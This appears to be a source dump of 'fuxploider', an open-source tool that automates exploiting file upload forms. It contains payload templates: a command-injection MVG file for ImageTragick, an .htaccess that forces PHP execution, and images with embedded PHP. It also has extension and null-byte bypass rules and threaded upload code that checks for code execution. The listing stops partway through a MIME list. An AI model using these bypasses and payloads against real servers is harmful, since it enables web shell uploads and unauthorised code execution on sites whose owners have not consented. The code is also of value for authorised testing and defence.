├── payloads
├── template.jsp
├── template.php
├── template.gif
├── template.jpg
├── imagemagick_rce.mvg
└── .htaccess
├── requirements.txt
├── screenshot.png
├── .deepsource.toml
├── Dockerfile
├── techniques.json
├── README.md
├── .gitignore
├── templates.json
├── mimeTypes.basic
├── utils.py
├── UploadForm.py
├── mimeTypes.advanced
├── fuxploider.py
└── LICENSE.md
/payloads/template.jsp:
--------------------------------------------------------------------------------
1 | <%= 5+7 %>
2 |
--------------------------------------------------------------------------------
/payloads/template.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests
2 | coloredlogs
3 | beautifulsoup4
4 |
--------------------------------------------------------------------------------
/screenshot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/almandin/fuxploider/HEAD/screenshot.png
--------------------------------------------------------------------------------
/payloads/template.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/almandin/fuxploider/HEAD/payloads/template.gif
--------------------------------------------------------------------------------
/payloads/template.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/almandin/fuxploider/HEAD/payloads/template.jpg
--------------------------------------------------------------------------------
/.deepsource.toml:
--------------------------------------------------------------------------------
1 | version = 1
2 |
3 | [[analyzers]]
4 | name = "python"
5 | enabled = true
6 |
7 | [analyzers.meta]
8 | runtime_version = "3.x.x"
9 |
--------------------------------------------------------------------------------
/payloads/imagemagick_rce.mvg:
--------------------------------------------------------------------------------
1 | push graphic-context
2 | viewbox 0 0 640 480
3 | fill 'url(https://example.com/image.jpg"|echo ImageTragick Detected! > "$filename$.txt)'
4 | pop graphic-context
5 |
--------------------------------------------------------------------------------
/payloads/.htaccess:
--------------------------------------------------------------------------------
1 | #Matches the .htaccess file itself
2 |
3 | #Allow to view the ".htaccess" file (overrides default rule in apache2.conf)
4 | Require all granted
5 | #Force treatment of file as PHP file
6 | ForceType application/x-httpd-php
7 |
8 |
9 | #php code must be commented in order to not be interpreted as a .htaccess configuration
10 | #
11 |
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.6-alpine
2 | LABEL author="Mostafa Hussein "
3 | RUN apk add --no-cache gcc musl-dev libxml2-dev libxslt-dev openssl
4 | COPY . /home/fuxploider
5 | WORKDIR /home/fuxploider
6 | RUN pip3 install -r requirements.txt
7 | RUN adduser -D fuxploider -H -h /home/fuxploider && chown fuxploider:fuxploider /home/fuxploider -R
8 | USER fuxploider
9 | ENTRYPOINT ["python", "fuxploider.py"]
10 | CMD ["-h"]
11 |
--------------------------------------------------------------------------------
/techniques.json:
--------------------------------------------------------------------------------
1 | [
2 | {"suffix":".$nastyExt$","mime":"nasty"},
3 | {"suffix":".$nastyExt$","mime":"legit"},
4 |
5 | {"suffix":".$nastyExt$.$legitExt$","mime":"nasty"},
6 | {"suffix":".$nastyExt$.$legitExt$","mime":"legit"},
7 | {"suffix":".$legitExt$.$nastyExt$","mime":"nasty"},
8 | {"suffix":".$legitExt$.$nastyExt$","mime":"legit"},
9 |
10 | {"suffix":".$nastyExt$%00.$legitExt$","mime":"legit"},
11 | {"suffix":".$nastyExt$%00.$legitExt$","mime":"nasty"},
12 | {"suffix":".$legitExt$%00.$nastyExt$","mime":"legit"},
13 | {"suffix":".$legitExt$%00.$nastyExt$","mime":"nasty"}
14 | ]
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # fuxploider
2 |
3 | [](https://www.python.org/) [](https://raw.githubusercontent.com/almandin/fuxploider/master/LICENSE.md)
4 |
5 | Fuxploider is an open source penetration testing tool that automates the process of detecting and exploiting file upload forms flaws. This tool is able to detect the file types allowed to be uploaded and is able to detect which technique will work best to upload web shells or any malicious file on the desired web server.
6 |
7 | Screenshots
8 | ----
9 | 
10 |
11 | Installation
12 | ----
13 |
14 | _You will need Python 3.6 at least._
15 |
16 | git clone https://github.com/almandin/fuxploider.git
17 | cd fuxploider
18 | pip3 install -r requirements.txt
19 |
20 | If you have problems with pip (and if you use windows apparently) :
21 |
22 | python3 -m pip install -r requirements.txt
23 |
24 | For Docker installation
25 |
26 | # Build the docker image
27 | docker build -t almandin/fuxploider .
28 |
29 | Usage
30 | ----
31 |
32 | To get a list of basic options and switches use :
33 |
34 | python3 fuxploider.py -h
35 |
36 | Basic example :
37 |
38 | python3 fuxploider.py --url https://awesomeFileUploadService.com --not-regex "wrong file type"
39 |
40 | > [!] legal disclaimer : Usage of fuxploider for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
41 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Byte-compiled / optimized / DLL files
2 | __pycache__/
3 | *.py[cod]
4 | *$py.class
5 |
6 | # C extensions
7 | *.so
8 |
9 | # Distribution / packaging
10 | .Python
11 | env/
12 | build/
13 | develop-eggs/
14 | dist/
15 | downloads/
16 | eggs/
17 | .eggs/
18 | lib/
19 | lib64/
20 | parts/
21 | sdist/
22 | var/
23 | wheels/
24 | *.egg-info/
25 | .installed.cfg
26 | *.egg
27 |
28 | # PyInstaller
29 | # Usually these files are written by a python script from a template
30 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
31 | *.manifest
32 | *.spec
33 |
34 | # Installer logs
35 | pip-log.txt
36 | pip-delete-this-directory.txt
37 |
38 | # Unit test / coverage reports
39 | htmlcov/
40 | .tox/
41 | .coverage
42 | .coverage.*
43 | .cache
44 | nosetests.xml
45 | coverage.xml
46 | *.cover
47 | .hypothesis/
48 |
49 | # Translations
50 | *.mo
51 | *.pot
52 |
53 | # Django stuff:
54 | *.log
55 | local_settings.py
56 |
57 | # Flask stuff:
58 | instance/
59 | .webassets-cache
60 |
61 | # Scrapy stuff:
62 | .scrapy
63 |
64 | # Sphinx documentation
65 | docs/_build/
66 |
67 | # PyBuilder
68 | target/
69 |
70 | # Jupyter Notebook
71 | .ipynb_checkpoints
72 |
73 | # pyenv
74 | .python-version
75 |
76 | # celery beat schedule file
77 | celerybeat-schedule
78 |
79 | # SageMath parsed files
80 | *.sage.py
81 |
82 | # dotenv
83 | .env
84 |
85 | # virtualenv
86 | .venv
87 | venv/
88 | ENV/
89 |
90 | # Spyder project settings
91 | .spyderproject
92 | .spyproject
93 |
94 | # Rope project settings
95 | .ropeproject
96 |
97 | # mkdocs documentation
98 | /site
99 |
100 | # mypy
101 | .mypy_cache/
102 |
--------------------------------------------------------------------------------
/templates.json:
--------------------------------------------------------------------------------
1 | [
2 | {
3 | "templateName" : "phpinfo",
4 | "description" : "Basic php file (plain text) with simple call to phpinfo().",
5 | "filename":"template.php",
6 | "nastyExt":"php",
7 | "codeExecRegex":"\\phpinfo\\(\\)\\<\\/title\\>(.|\n)*\\PHP License\\<\\/h2\\>",
8 | "extVariants":["php1","php2","php3","php4","php5","phtml","pht","Php","PhP","pHp","pHp1","pHP2","pHtMl","PHp5"]
9 | },{
10 | "templateName" : "nastygif",
11 | "description" : "Valid GIF file with basic call to phpinfo() in the comments section of the file",
12 | "filename":"template.gif",
13 | "nastyExt":"php",
14 | "codeExecRegex":"\\phpinfo\\(\\)\\<\\/title\\>(.|\n)*\\PHP License\\<\\/h2\\>",
15 | "extVariants":["php1","php2","php3","php4","php5","phtml","pht","Php","PhP","pHp","pHp1","pHP2","pHtMl","PHp5"]
16 | },{
17 | "templateName" : "nastyjpg",
18 | "description" : "Valid JPG file with basic call to phpinfo() in the comments section of the file",
19 | "filename":"template.jpg",
20 | "nastyExt":"php",
21 | "codeExecRegex":"\\phpinfo\\(\\)\\<\\/title\\>(.|\n)*\\PHP License\\<\\/h2\\>",
22 | "extVariants":["php1","php2","php3","php4","php5","phtml","pht","Php","PhP","pHp","pHp1","pHP2","pHtMl","PHp5"]
23 | },
24 | {
25 | "templateName" : "basicjsp",
26 | "description" : "Basic jsp file with simple mathematical expression.",
27 | "filename":"template.jsp",
28 | "nastyExt":"jsp",
29 | "codeExecRegex":"12",
30 | "extVariants":["JSP","jSp"]
31 | },
32 | {
33 | "templateName" : "imagetragick",
34 | "description" : "Attempts to exploit RCE in ImageMagick (CVE-2016–3714)",
35 | "filename":"imagemagick_rce.mvg",
36 | "codeExecRegex":"ImageTragick Detected!",
37 | "codeExecURL":"$uploadFormDir$/$filename$.txt",
38 | "dynamicPayload":"True"
39 | },
40 | {
41 | "templateName" : "htaccess",
42 | "description" : "Exploit apache 2.4 misconfiguration by uploading .htaccess file",
43 | "filename":".htaccess",
44 | "staticFilename":"True",
45 | "codeExecRegex":"\\phpinfo\\(\\)\\<\\/title\\>(.|\n)*\\PHP License\\<\\/h2\\>"
46 | }
47 | ]
48 |
--------------------------------------------------------------------------------
/mimeTypes.basic:
--------------------------------------------------------------------------------
1 | image/jpeg jpeg jpg jpe
2 | image/x-ms-bmp bmp
3 | image/png png
4 | image/tiff tiff tif
5 | image/svg+xml svg svgz
6 | application/octet-stream mvg
7 | image/gif gif
8 | image/vnd.microsoft.icon ico
9 | text/plain asc txt text pot brf srt
10 | application/pdf pdf
11 | application/vnd.ms-powerpoint ppt pps
12 | application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
13 | application/vnd.oasis.opendocument.text odt
14 | application/vnd.ms-excel xls xlb xlt
15 | application/msword doc dot
16 | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
17 | application/vnd.openxmlformats-officedocument.wordprocessingml.document docx
18 | video/mpeg mpeg mpg mpe
19 | audio/mpeg mpga mpega mp2 mp3 m4a
20 | video/x-msvideo avi
21 | audio/mpegurl m3u
22 | audio/x-wav wav
23 | image/x-photoshop psd
24 | video/x-flv flv
25 | video/mp4 mp4
26 | application/x-tar tar
27 | application/gzip gz
28 | application/zip zip
29 | application/rar rar
30 | application/x-7z-compressed 7z
31 | application/x-iso9660-image iso
32 | application/java-archive jar
33 | text/csv csv
34 | application/x-rss+xml rss
35 | text/css css
36 | application/x-bittorrent torrent
37 | text/html html htm shtml
38 | application/font-sfnt otf ttf
39 | application/x-msdos-program com exe bat dll
40 | video/quicktime qt mov
41 | application/x-cbr cbr
42 | application/x-cdlink vcd
43 | application/x-trash ~ % bak old sik
44 | application/octet-stream bin deploy msu msp
45 | audio/midi mid midi kar
46 | chemical/x-cerius cer
47 | application/vnd.stardivision.math sdf
48 | chemical/x-mdl-sdfile sd sdf
49 | text/vcard vcf vcard
50 | text/x-c++src c++ cpp cxx cc
51 | text/x-chdr h
52 | application/vnd.google-earth.kmz kmz
53 | application/x-shockwave-flash swf swfl
54 | application/vnd.debian.binary-package deb ddeb udeb
55 | application/x-debian-package deb udeb
56 | application/javascript js
57 | application/x-stuffit sit sitx
58 | application/java-vm class
59 | application/mac-binhex40 hqx
60 | application/x-sql sql
61 | text/html html htm shtml
62 | audio/x-pn-realaudio ra rm ram
63 | text/x-perl pl pm
64 | application/rtf rtf
65 | text/asp asp
66 | application/x-httpd-php phtml pht php
67 | application/x-sh sh
68 | text/x-sh sh
69 | audio/x-mpegurl m3u
70 | text/x-csrc c
71 | application/x-msdos-program com exe bat dll
72 | video/3gpp 3gp
73 | application/vnd.android.package-archive apk
74 | application/x-msdos-program com exe bat dll
75 | chemical/x-gamess-input inp gam gamin
76 | application/postscript ps ai eps epsi epsf eps2 eps3
77 | text/x-tex tex ltx sty cls
78 | application/font-sfnt otf ttf
79 | application/msaccess mdb
80 | video/x-ms-wmv wmv
81 | application/vnd.google-earth.kml+xml kml
82 | audio/x-aiff aif aiff aifc
83 | chemical/x-pdb pdb ent
84 | video/x-ms-asf asf asx
85 | application/pics-rules prf
86 | text/x-java java
87 | audio/x-ms-wma wma
88 | application/x-cab cab
89 | application/x-apple-diskimage dmg
90 | application/pgp-keys key
91 | text/calendar ics icz
92 | application/xhtml+xml xhtml xht
93 | application/xml xml xsd
94 | application/vnd.wordperfect wpd
95 | application/x-msi msi
96 | application/x-redhat-package-manager rpm
97 | text/x-python py
98 |
--------------------------------------------------------------------------------
/utils.py:
--------------------------------------------------------------------------------
1 | import os
2 | import re
3 | import sys
4 | import argparse
5 | import tempfile
6 | from urllib.parse import urlparse
7 |
8 | import requests
9 | from bs4 import BeautifulSoup
10 |
11 |
12 | def quitting(signal, frame):
13 | if input("\nWant to stop ? [y/N] ").lower().startswith("y"):
14 | sys.exit(0)
15 |
16 |
17 | def valid_url(url) :
18 | parsedUrl = urlparse(url)
19 | if parsedUrl.scheme != "" and parsedUrl.netloc != "":
20 | return url
21 | return False
22 |
23 |
24 | def valid_proxyString(proxyString):
25 | exp = re.compile(r"^(?:(https?):\/\/)?(?:(.+?):(.+?)@)?([A-Za-z0-9\_\-\~\.]+)(?::([0-9]+))?$")
26 | r = exp.match(proxyString)
27 | if r:
28 | return {"username": r.group(2),
29 | "password": r.group(3),
30 | "protocol": r.group(1),
31 | "hostname": r.group(4),
32 | "port": r.group(5)}
33 | raise argparse.ArgumentTypeError("Proxy information must be like \"[user:pass@]host:port\". "
34 | "Example : \"user:pass@proxy.host:8080\".")
35 |
36 |
37 | def valid_regex(regex):
38 | try:
39 | re.compile(regex)
40 | except re.error:
41 | raise argparse.ArgumentTypeError("The given regex argument does not "
42 | "look like a valid regular expression.")
43 | return regex
44 |
45 |
46 | def is_regex(regex):
47 | try:
48 | re.compile(regex)
49 | return True
50 | except re.error:
51 | return False
52 |
53 |
54 | def valid_proxyCreds(creds):
55 | exp = re.compile("^([^\n\t :]+):([^\n\t :]+)$")
56 | r = exp.match(creds)
57 | if r:
58 | return {"username": r.group(1), "password": r.group(2)}
59 | raise argparse.ArgumentTypeError(f"Proxy credentials must follow the next format: "
60 | " 'user:pass'. Provided : '{creds}'")
61 |
62 |
63 | def valid_nArg(n):
64 | if int(n) > 0:
65 | return n
66 | raise argparse.ArgumentTypeError("Positive integer expected.")
67 |
68 |
69 | def valid_postData(data):
70 | exp = re.compile("([^=&?\n]*=[^=&?\n]*&?)+")
71 | if exp.match(data):
72 | return data
73 | raise argparse.ArgumentTypeError("Additional POST data must be written like the following: "
74 | "'key1=value1&key2=value2&...'")
75 |
76 |
77 | def getHost(url) :
78 | exp = re.compile("^(https?\:\/\/)((([\da-z\.-]+)\.([a-z\.]{2,6}))|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})(:[0-9]+)?([\/\w \.-]*)\/?([\/\w \.-]*)\/?((\?|&).+?(=.+?)?)*$")
79 | res = exp.match(url)
80 | return str(res.group(2))
81 |
82 |
83 | def postDataFromStringToJSON(params):
84 | if params:
85 | prePostData = params.split("&")
86 | postData = {}
87 | for d in prePostData:
88 | p = d.split("=", 1)
89 | postData[p[0]] = p[1]
90 | return postData
91 | return {}
92 |
93 |
94 | def getFormInputs(html):
95 | soup = BeautifulSoup(html,'html.parser')
96 | return soup.find_all("input")
97 |
98 |
99 | def detectForms(html):
100 | soup = BeautifulSoup(html, 'html.parser')
101 | detectedForms = soup.find_all("form")
102 | returnForms = []
103 | if detectedForms:
104 | for f in detectedForms:
105 | fileInputs = f.findChildren("input", {"type": re.compile("file", re.IGNORECASE)})
106 | if fileInputs:
107 | returnForms.append((f, fileInputs))
108 | return returnForms
109 |
110 |
111 | def getMime(extensions, ext):
112 | for e in extensions:
113 | if e[0] == ext:
114 | return e[1]
115 |
116 |
117 | def getResource(url):
118 | exp = re.compile(r"^(https?\:\/\/)((([\da-z\.-]+)\.([a-z\.]{2,6}))|[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})(:[0-9]+)?([\/\w \.-]*)\/?([\/\w \.-]*)\/?((\?|&).+?(=.+?)?)*$")
119 | r = exp.match(url)
120 | z = r.group(7).split('/')
121 | return z[len(z)-1]
122 |
123 |
124 | def loadExtensions(loadFrom, filepath="mimeTypes.advanced"):
125 | ext = []
126 | if loadFrom == "file":
127 | with open(filepath, "r") as fd:
128 | ext = []
129 | for e in fd:
130 | e = e[:-1]
131 | ligne = e.split(" ")
132 | mime = ligne[0]
133 | for z in ligne[1:]:
134 | ext.append((z, mime))
135 | elif isinstance(loadFrom, list):
136 | for askedExt in loadFrom:
137 | with open(filepath, "r") as fd:
138 | for e in fd:
139 | e = e[:-1]
140 | ligne = e.split(" ")
141 | mime = ligne[0]
142 |
143 | if askedExt in ligne:
144 | ext.append((askedExt, mime))
145 |
146 | return ext
147 |
148 |
149 | def addProxyCreds(initProxy, creds):
150 | httpproxy = initProxy["http"]
151 | httpsproxy = initProxy["https"]
152 | if re.match(r"^http\://.*", httpproxy):
153 | httpproxy = f"http://{creds[0]}:{creds[1]}@{httpproxy[7:]}"
154 | else:
155 | httpproxy = f"http://{creds[0]}:{creds[1]}@{httpproxy}"
156 |
157 | if re.match("^https\://.*", httpsproxy):
158 | httpsproxy = f"https://{creds[0]}:{creds[1]}@{httpsproxy[8:]}"
159 | else:
160 | httpsproxy = f"https://{creds[0]}:{creds[1]}@{httpsproxy}"
161 | return {"http": httpproxy, "https": httpsproxy}
162 |
163 |
164 | def printSimpleResponseObject(resObject):
165 | print("\033[36m{resObject.request.method} - {resObject.request.url}: {resObject.status_code}\033[m")
166 | printFormattedHeaders(resObject.headers)
167 |
168 |
169 | def printFormattedHeaders(headers):
170 | for key, value in headers.items():
171 | print(f"\033[36m\t- {key}: {value}\033[m")
172 |
173 |
174 | def getPoisoningBytes():
175 | return ["%00"]
176 | # return ["%00",":",";"]
177 |
--------------------------------------------------------------------------------
/UploadForm.py:
--------------------------------------------------------------------------------
1 | import re
2 | import os
3 | import logging
4 | import sys
5 | import tempfile
6 | import concurrent.futures
7 | from threading import Lock
8 | from urllib.parse import urljoin, urlparse
9 |
10 | from bs4 import BeautifulSoup
11 |
12 | from utils import *
13 |
14 |
15 | class UploadForm:
16 | def __init__(self, notRegex, trueRegex, session, size, postData,
17 | uploadsFolder=None, formUrl=None, formAction=None, inputName=None):
18 | self.logger = logging.getLogger("fuxploider")
19 | self.postData = postData
20 | self.formUrl = formUrl
21 | url = urlparse(self.formUrl)
22 | self.schema = url.scheme
23 | self.host = url.netloc
24 | self.uploadUrl = urljoin(formUrl, formAction)
25 | self.session = session
26 | self.trueRegex = trueRegex
27 | self.notRegex = notRegex
28 | self.inputName = inputName
29 | self.uploadsFolder = uploadsFolder
30 | self.size = size
31 | self.validExtensions = []
32 | self.httpRequests = 0
33 | self.codeExecUrlPattern = None # Pattern for code exec detection using true regex findings
34 | self.logLock = Lock()
35 | self.stopThreads = False
36 | self.shouldLog = True
37 |
38 | # Searches for a valid html form containing an input file, sets object parameters correctly
39 | def setup(self, initUrl):
40 | self.formUrl = initUrl
41 | url = urlparse(self.formUrl)
42 | self.schema = url.scheme
43 | self.host = url.netloc
44 |
45 | self.httpRequests = 0
46 | try:
47 | initGet = self.session.get(self.formUrl, headers={"Accept-Encoding":None})
48 | self.httpRequests += 1
49 | if self.logger.verbosity > 1:
50 | printSimpleResponseObject(initGet)
51 | if self.logger.verbosity > 2:
52 | print(f"\033[36m{initGet.text}\033[m")
53 | if initGet.status_code < 200 or initGet.status_code > 300:
54 | self.logger.critical("Server responded with following status: %s - %s",
55 | initGet.status_code, initGet.reason)
56 | sys.exit(1)
57 | except Exception as e:
58 | self.logger.critical("%s: Host unreachable (%s)", getHost(initUrl), e)
59 | sys.exit(1)
60 |
61 | # Detect and get the form's data
62 | detectedForms = self.detectForms(initGet.text)
63 | if not detectedForms:
64 | self.logger.critical("No HTML forms found.")
65 | sys.exit()
66 | if len(detectedForms) > 1:
67 | self.logger.critical("%s forms found containing file upload inputs, no way to choose which one to test.", len(detectedForms))
68 | sys.exit()
69 | if len(detectedForms[0][1]) > 1:
70 | self.logger.critical("%s file inputs found inside the same form, no way to choose which one to test.", len(detectedForms[0]))
71 | sys.exit()
72 |
73 | self.inputName = detectedForms[0][1][0]["name"]
74 | self.logger.debug("Found the following file upload input: %s", self.inputName)
75 | formDestination = detectedForms[0][0]
76 |
77 | try:
78 | self.action = formDestination["action"]
79 | except:
80 | self.action = ""
81 | self.uploadUrl = urljoin(self.formUrl, self.action)
82 |
83 | self.logger.debug("Using following URL for file upload: %s", self.uploadUrl)
84 |
85 | if not self.uploadsFolder and not self.trueRegex:
86 | self.logger.warning("No uploads folder nor true regex defined, "
87 | "code execution detection will not be possible. "
88 | "(Except for templates with a custom codeExecURL)")
89 | elif not self.uploadsFolder and self.trueRegex:
90 | print("No uploads path provided, code detection can still be done "
91 | "using true regex capturing group. "
92 | "(Except for templates with a custom codeExecURL)")
93 | cont = input("Do you want to use the True Regex for code execution detection ? [Y/n] ")
94 | if cont.lower().startswith("y") or cont == "":
95 | prefixPattern = input("Prefix capturing group of the true regex with: ")
96 | suffixPattern = input("Suffix capturing group of the true regex with: ")
97 | self.codeExecUrlPattern = "".join((prefixPattern, "$captGroup$", suffixPattern))
98 | else:
99 | self.logger.warning("Code execution detection will not be possible as "
100 | "there is no path nor regex pattern configured. "
101 | "(Except for templates with a custom codeExecURL)")
102 |
103 | # Tries to upload a file through the file upload form.
104 | def uploadFile(self, suffix, mime, payload,
105 | dynamicPayload=False, payloadFilename=None, staticFilename=False):
106 | with tempfile.NamedTemporaryFile(suffix=suffix) as fd:
107 | if staticFilename:
108 | filename = payloadFilename
109 | else:
110 | filename = os.path.basename(fd.name)
111 | filename_wo_ext = filename.split('.', 1)[0]
112 | if dynamicPayload:
113 | payload = payload.replace(b"$filename$", bytearray(filename_wo_ext, 'ascii'))
114 | fd.write(payload)
115 | fd.flush()
116 | fd.seek(0)
117 | if self.shouldLog:
118 | self.logger.debug("Sending file %s with mime type: %s", filename, mime)
119 | fileUploadResponse = self.session.post(
120 | self.uploadUrl,
121 | files={self.inputName: (filename, fd, mime)},
122 | data=self.postData
123 | )
124 | self.httpRequests += 1
125 | if self.shouldLog:
126 | if self.logger.verbosity > 1:
127 | printSimpleResponseObject(fileUploadResponse)
128 | if self.logger.verbosity > 2:
129 | print(f"\033[36m{fileUploadResponse}\033[m")
130 |
131 | return (fileUploadResponse, filename, filename_wo_ext)
132 |
133 | # Detects if a given html code represents an upload success or not.
134 | def isASuccessfulUpload(self, html):
135 | result = False
136 | validExt = False
137 | if self.notRegex:
138 | fileUploaded = re.search(self.notRegex, html)
139 | if not fileUploaded:
140 | result = True
141 | if self.trueRegex:
142 | moreInfo = re.search(self.trueRegex, html)
143 | if moreInfo:
144 | try:
145 | result = str(moreInfo.group(1))
146 | except:
147 | result = str(moreInfo.group(0))
148 |
149 | if self.trueRegex and not result:
150 | fileUploaded = re.search(self.trueRegex, html)
151 | if fileUploaded:
152 | try:
153 | result = str(fileUploaded.group(1))
154 | except:
155 | result = str(fileUploaded.group(0))
156 | return result
157 |
158 | # Callback function for matching html text against regex in order to detect successful uploads
159 | def detectValidExtension(self, future):
160 | if not self.stopThreads:
161 | html = future.result()[0].text
162 | ext = future.ext[0]
163 |
164 | r = self.isASuccessfulUpload(html)
165 | if r:
166 | self.validExtensions.append(ext)
167 | if self.shouldLog:
168 | self.logger.info("\033[1m\033[42mExtension %s seems valid for this form.\033[m", ext)
169 | if r != True:
170 | self.logger.info("\033[1;32mTrue regex matched the following information: %s\033[m", r)
171 | return r
172 |
173 | def detectValidExtensions(self, extensions, maxN, extList=None):
174 | """Detect valid extensions for this upload form (sending legit files with legit mime types)."""
175 | self.logger.info("### Starting detection of valid extensions ...")
176 | n = 0
177 | if extList:
178 | tmpExtList = []
179 | for e in extList:
180 | tmpExtList.append((e, getMime(extensions, e)))
181 | else:
182 | tmpExtList = extensions
183 | validExtensions = [] # unused?
184 |
185 | extensionsToTest = tmpExtList[0:maxN]
186 | with concurrent.futures.ThreadPoolExecutor(max_workers=self.threads) as executor:
187 | futures = []
188 | try:
189 | for ext in extensionsToTest:
190 | f = executor.submit(
191 | self.uploadFile,
192 | "." + ext[0],
193 | ext[1],
194 | os.urandom(self.size)
195 | )
196 | f.ext = ext
197 | f.add_done_callback(self.detectValidExtension)
198 | futures.append(f)
199 | for future in concurrent.futures.as_completed(futures):
200 | a = future.result()
201 | n += 1
202 | except KeyboardInterrupt:
203 | self.shouldLog = False
204 | executor.shutdown(wait=False)
205 | self.stopThreads = True
206 | executor._threads.clear()
207 | concurrent.futures.thread._threads_queues.clear()
208 | return n
209 |
210 | def detectCodeExec(self, url, regex):
211 | """Detect if a code execution is gained, given an rul to request and a
212 | regex pattern to match the executed code output.
213 | """
214 | if self.shouldLog:
215 | if self.logger.verbosity > 0:
216 | self.logger.debug("Requesting %s ...", url)
217 |
218 | r = self.session.get(url)
219 | if self.shouldLog:
220 | if r.status_code >= 400:
221 | self.logger.warning("Code exec detection returned an http code of %s.", r.status_code)
222 | self.httpRequests += 1
223 | if self.logger.verbosity > 1:
224 | printSimpleResponseObject(r)
225 | if self.logger.verbosity > 2:
226 | print(f"\033[36m{r.text}\033[m")
227 |
228 | res = re.search(regex, r.text)
229 | return bool(res)
230 |
231 | def submitTestCase(self, suffix, mime,
232 | payload=None, codeExecRegex=None, codeExecURL=None,
233 | dynamicPayload=False, payloadFilename=None, staticFilename=False):
234 | """Generate a temporary file using a suffixed name, a mime type and
235 | content. Upload the temp file on the server and eventually try to
236 | detect if code execution is gained through the uploaded file.
237 | """
238 | fu = self.uploadFile(suffix, mime, payload, dynamicPayload, payloadFilename, staticFilename)
239 | uploadRes = self.isASuccessfulUpload(fu[0].text)
240 | result = {"uploaded": False, "codeExec": False}
241 | if not uploadRes:
242 | return result
243 |
244 | result["uploaded"] = True
245 | if self.shouldLog:
246 | self.logger.info("\033[1;32mUpload of '%s' with mime type %s successful\033[m", fu[1], mime)
247 |
248 | if uploadRes is True and self.shouldLog:
249 | self.logger.info("\033[1;32m\tTrue regex matched the following information: %s\033[m", uploadRes)
250 |
251 | if not codeExecRegex or not valid_regex(codeExecRegex):
252 | return result
253 |
254 | if self.uploadsFolder or self.trueRegex or codeExecURL:
255 | url = None
256 | secondUrl = None
257 | if self.uploadsFolder or codeExecURL:
258 | if codeExecURL:
259 | filename_wo_ext = fu[2]
260 | url = codeExecURL.replace("$uploadFormDir$", os.path.dirname(self.uploadUrl)) \
261 | .replace("$filename$", filename_wo_ext)
262 | else:
263 | url = f"{self.schema}://{self.host}/{self.uploadsFolder}/{fu[1]}"
264 | filename = fu[1]
265 | secondUrl = None
266 | for byte in getPoisoningBytes():
267 | if byte in filename:
268 | secondUrl = byte.join(url.split(byte)[:-1])
269 | elif self.codeExecUrlPattern:
270 | #code exec detection through true regex
271 | url = self.codeExecUrlPattern.replace("$captGroup$", uploadRes)
272 |
273 | if url:
274 | executedCode = self.detectCodeExec(url, codeExecRegex)
275 | if executedCode:
276 | result["codeExec"] = True
277 | result["url"] = url
278 | if secondUrl:
279 | executedCode = self.detectCodeExec(secondUrl, codeExecRegex)
280 | if executedCode:
281 | result["codeExec"] = True
282 | result["url"] = secondUrl
283 | return result
284 |
285 | @staticmethod
286 | def detectForms(html):
287 | """Detect HTML forms.
288 |
289 | Returns a list of BeauitifulSoup objects (detected forms).
290 | """
291 | soup = BeautifulSoup(html, "html.parser")
292 | detectedForms = soup.find_all("form")
293 | returnForms = []
294 | if detectedForms:
295 | for f in detectedForms:
296 | fileInputs = f.findChildren("input", {"type": "file"})
297 | if fileInputs:
298 | returnForms.append((f, fileInputs))
299 | return returnForms
--------------------------------------------------------------------------------
/mimeTypes.advanced:
--------------------------------------------------------------------------------
1 | image/jpeg jpeg jpg jpe
2 | image/png png
3 | image/gif gif
4 | image/x-ms-bmp bmp
5 | image/tiff tiff tif
6 | text/plain asc txt text pot brf srt
7 | application/pdf pdf
8 | application/msword doc dot
9 | application/vnd.openxmlformats-officedocument.presentationml.presentation pptx
10 | application/vnd.openxmlformats-officedocument.presentationml.slide sldx
11 | application/vnd.openxmlformats-officedocument.presentationml.slideshow ppsx
12 | application/vnd.openxmlformats-officedocument.presentationml.template potx
13 | application/vnd.openxmlformats-officedocument.spreadsheetml.sheet xlsx
14 | application/vnd.openxmlformats-officedocument.spreadsheetml.template xltx
15 | application/vnd.openxmlformats-officedocument.wordprocessingml.document docx
16 | application/vnd.openxmlformats-officedocument.wordprocessingml.template dotx
17 | application/font-sfnt otf ttf
18 | application/gzip gz
19 | application/zip zip
20 | application/x-7z-compressed 7z
21 | application/rar rar
22 | application/postscript ps ai eps epsi epsf eps2 eps3
23 | application/javascript js
24 | application/json json
25 | application/rdf+xml rdf
26 | application/rtf rtf
27 | application/ecmascript es
28 | application/vnd.ms-excel xls xlb xlt
29 | application/vnd.ms-excel.addin.macroEnabled.12 xlam
30 | application/vnd.ms-excel.sheet.binary.macroEnabled.12 xlsb
31 | application/vnd.ms-excel.sheet.macroEnabled.12 xlsm
32 | application/vnd.ms-excel.template.macroEnabled.12 xltm
33 | application/andrew-inset ez
34 | application/vnd.ms-powerpoint ppt pps
35 | application/vnd.ms-powerpoint.addin.macroEnabled.12 ppam
36 | application/vnd.ms-powerpoint.presentation.macroEnabled.12 pptm
37 | application/vnd.ms-powerpoint.slide.macroEnabled.12 sldm
38 | application/vnd.ms-powerpoint.slideshow.macroEnabled.12 ppsm
39 | application/vnd.ms-powerpoint.template.macroEnabled.12 potm
40 | application/vnd.ms-word.document.macroEnabled.12 docm
41 | application/vnd.ms-word.template.macroEnabled.12 dotm
42 | application/annodex anx
43 | application/atom+xml atom
44 | application/atomcat+xml atomcat
45 | application/atomserv+xml atomsrv
46 | application/bbolin lin
47 | application/cu-seeme cu
48 | application/davmount+xml davmount
49 | application/dicom dcm
50 | application/dsptype tsp
51 | application/font-tdpfr pfr
52 | application/font-woff woff
53 | application/futuresplash spl
54 | application/hta hta
55 | application/java-archive jar
56 | application/java-serialized-object ser
57 | application/java-vm class
58 | application/m3g m3g
